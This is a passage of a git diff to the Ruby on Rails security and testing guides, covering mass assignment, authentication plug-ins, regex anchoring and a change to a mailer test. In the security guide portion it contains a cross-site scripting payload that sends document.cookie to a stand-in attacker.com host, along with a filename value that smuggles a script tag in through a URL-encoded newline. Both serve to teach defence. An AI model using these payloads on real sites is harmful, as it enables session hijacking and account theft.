+has_and_belongs_to_many+). For example: +Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3<plus>. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: <ruby> class Person < ActiveRecord::Base @@ -474,7 +474,7 @@ h3. User Management -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ -There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features. Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): @@ -582,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -595,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -762,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index 2341a3522c..e0386b95b4 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -738,7 +738,6 @@ You don't need to set up and run your tests by hand on a test-by-test basis. Rai |+rake test:benchmark+ |Benchmark the performance tests| |+rake test:functionals+ |Runs all the functional tests from +test/functional+| |+rake test:integration+ |Runs all the integration tests from +test/integration+| -|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)| |+rake test:profile+ |Profile the performance tests| |+rake test:recent+ |Tests recent changes| |+rake test:uncommitted+ |Runs all the tests which are uncommitted. Supports Subversion and Git| @@ -927,7 +926,7 @@ class UserControllerTest < ActionController::TestCase assert_difference 'ActionMailer::Base.deliveries.size', +1 do post :invite_friend, :email => 'friend@example.com' end - invite_email = ActionMailer::Base.deliveries.first + invite_email = ActionMailer::Base.deliveries.last assert_equal "You have been invited by me@example.com", invite_email.subject assert_equal 'friend@example.com', invite_email.to[0] |